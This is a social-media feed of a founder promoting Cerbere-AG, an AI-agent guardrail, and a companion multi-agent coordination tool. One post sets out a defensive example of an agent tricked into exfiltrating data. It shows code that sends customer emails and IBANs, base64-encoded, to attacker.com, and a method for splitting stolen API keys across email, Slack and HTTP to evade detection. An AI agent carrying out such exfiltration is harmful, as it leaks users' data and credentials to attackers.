
Founder & CEO 🐕@cerbereag The control infrastructure for autonomous AI agents operating across real-world @luviaplace to be passionate about what I've done
Joined September 2026
- Tweets382
- Following280
- Followers107
- Likes556
Pinned Tweet
Cerbere-AG is a three-layer security guardrail for AI agents: Regex, ML, and an LLM Judge.
AI agents are unpredictable. They improvise and act with full autonomy. I built Cerbere-AG (named after the three-headed dog, Cerberus) so that autonomy doesn’t come at the cost of control.
Why three layers? Our benchmarks show it:
→ Regex alone lets more than 30% of attacks through.
→ ML pushes recall up to 100% in some of our tests, but raises false positives.
→ The LLM Judge resolves the ambiguous cases ML can’t classify.
It also looks at context. Cerbere-AG follows tool calls, checks whether they’re legitimate, and then allows them, blocks them, or flags them for real-time human approval. Agents keep their autonomy, and humans keep control.
Everything is audited too. The collector gathers spans and traces into an audit trail that is independent from the agent and supports compliance.
And like any tool, it has limits. That’s why observability matters: security isn’t only about blocking attacks, it’s about understanding what happened, what was allowed, what was blocked, and why.
Open source and free for now. Try it and give me your honest feedback 👇
github.com/chrismsmr-celcom/…
app.cerbereag.site
You put a cohort of agents in prod. Because you want fast production.
But then Agent X deletes Agent Y's work.
And Agent Z just loops. Loops. Loops.
In the end, you move nowhere.
A successful project needs coordination.
Frameworks like LangChain or CrewAI let agents work together. Let them talk.
Cerbere Cohort does the rest:
• Isolated workspace for each agent
• Conflict-aware commits
• Deadlock detection
• Verifiable history
If Cerbere AG stops your agent from doing anything stupid,
Cohort stops agents from fighting each other.
In the end, you have your army of agents running 24/7.
And your project finishes on time. Or even early.
Let's build it together.
cerbereag.site
github.com/chrismsmr-celcom/…
github.com/chrismsmr-celcom/…
4
70
Cybersecurity has to evolve at the same speed as intelligence.
So security solutions have to be more open. More supported. Nothing left aside.
Not just offensive. Not just defensive.
We also need security that protects you from the inside.
From your own agent, to the real world.
Because today, the threat is not just the hacker outside.
It's the agent you gave the keys to, inside.
That's what I'm building with Cerbere.
github.com/chrismsmr-celcom/…
3
26
Autonomous AI doesn't need more intelligence. It needs guardrails.
Since August, I've been building Cerbere:
Cerbere AG - stops your agent from doing something stupid in prod. It blocks the bad tool call before it runs.
Cerbere Cohort - stops your agents from stepping on each other. No conflicting writes, no corrupted shared state.
One protects how an agent acts.
The other protects how agents work together.
Open source. Free. 1000+ commits in.
Built from Kinshasa.
cerbereag.site
github.com/chrismsmr-celcom/…
github.com/chrismsmr-celcom/…
3
51
I'm building Cerbere Cohort, an open-source coordination layer for multi-agent systems.
Frameworks like LangGraph, CrewAI and AutoGen help agents work together.
Cerbere Cohort focuses on a different problem: keeping their shared state consistent.
Isolated workspaces
Conflict-aware commits
Resource leases
Deadlock detection
Verifiable event history
We're not building another orchestration framework. We're building a layer that complements existing ones.
The project is still early, and I'd love to have developers involved.
3
4
72
⭐ Star the repo if you find the idea useful.
🤝 Contributions, feedback and ideas are welcome.
GitHub: github.com/chrismsmr-celcom/…
22
Since August, I've been working on Cerbere.
When I started, I didn't have the full picture. I just wanted to build something big. Something that would solve a real security problem.
I built the first layer: fast rules.
Then the second layer: ML.
Then a third: an LLM Judge to correct the ML's false positives.
And it became the three-headed guardian that stops your agents from doing anything stupid in prod.
It's not a sandbox.
It's a layer that sits between the agent and the real world.
No, your agents don't become less autonomous.
But you don't lose control.
Observability helps you understand what happened.
Cerbere makes sure it doesn't happen in the first place.
1000+ commits.
No massive traction yet, but it's all there.
And it's yours. It's open source and free.
github.com/chrismsmr-celcom/…
2
5
67
Christopher Dikesa retweeted
Put 3 agents on one codebase and one will silently overwrite another. I'm building ActRun: shared state for multi-agent systems. Branches, conflicts, leases, replayable logs. Rust + Python, MIT. Early days.
What broke when your agents shared state?
github.com/chrismsmr-celcom/…
Put 3 agents on one codebase and one will silently overwrite another. I'm building ActRun: shared state for multi-agent systems. Branches, conflicts, leases, replayable logs. Rust + Python, MIT. Early days.
What broke when your agents shared state?
github.com/chrismsmr-celcom/…
LangChain just raised $300M at $3B.
Everyone is building agents. Nobody is securing what agents do.
Cerbrere is LangChain-native: we sit at the execution boundary and block malicious tool calls before they happen.
Observability tells you you got hacked. We prevent it.
github.com/chrismsmr-celcom/…
Today we announced that LangChain raised $300M at a $3B valuation.
We think agents will transform the economy, and the companies that own their intelligence will build lasting competitive advantages.
That's why we're building LangSmith, the framework-agnostic platform to run, improve, and govern agents.
Still so much left to build! More on what’s next: langchain.com/blog/series-c
4
81
Christopher Dikesa retweeted
Most secure the prompt.
No one secures what the agent DOES after.
Cerbrere does both.
Prompt injection ✅
Tool call protection ✅
Taint tracking ✅
Signed decisions ✅
Self-hosted ✅
Observability ✅
MCP security ✅
Humain approval✅
Your data never leaves your servers.
We don't filter prompts. We control actions.
For the next 6 months, Cerbrere is free and open source.
DMs are open.
Take a look and tell me if it will hold or not
github.com/chrismsmr-celcom/…
5
132
Prompt injection is not the real threat anymore.
The real threat is a benign agent with legitimate access.
It has read access to your DB. It has write access to Slack, Email, HTTP.
It doesn't need to be jailbroken. It just needs to be tricked once, or to hallucinate once.
And your prompt filter will say: "looks clean."
Here is the exfiltration that bypasses 99% of AI firewalls:
users = db.query("SELECT email, iban FROM customers")
payload = base64.b64encode(json.dumps(users))
http.post("attacker.com/log", data=payload)
No "ignore instructions". No bad words.
Just 3 legitimate tool calls.
Your filter sees: base64 string. It allows it.
It gets worse with chaining:
1. Agent reads .env -> OPENAI_KEY, STRIPE_KEY
2. Splits it in 4 chunks to avoid DLP
3. Encodes in hex, then in base64
4. Sends chunk 1 via Email, chunk 2 via Slack, chunk 3 via HTTP
Each tool call looks innocent in isolation.
Only the full trace is malicious.
👇👇👇
5
6
183
We don't want your data.
Cerbrere runs in your VPC, your Docker, your K8s. No data leaves.
No US SaaS seeing your customer emails to "protect" them.
docker run cerbrere/cerbrere
1 binary, <50ms overhead per tool call, no external calls.
This is non-negotiable for banks, fintechs, hospitals.
1
23
For the next 6 months, Cerbrere is free and open source.
I built the base64 exfiltration demo so you can break it yourself:
1. Clone the repo
2. Run python demo/exfil_base64.py
3. Try to bypass the taint engine
4. Open an issue if you do
Repo: github.com/chrismsmr-celcom/…
DMs open. I want your hardest bypasses.
66



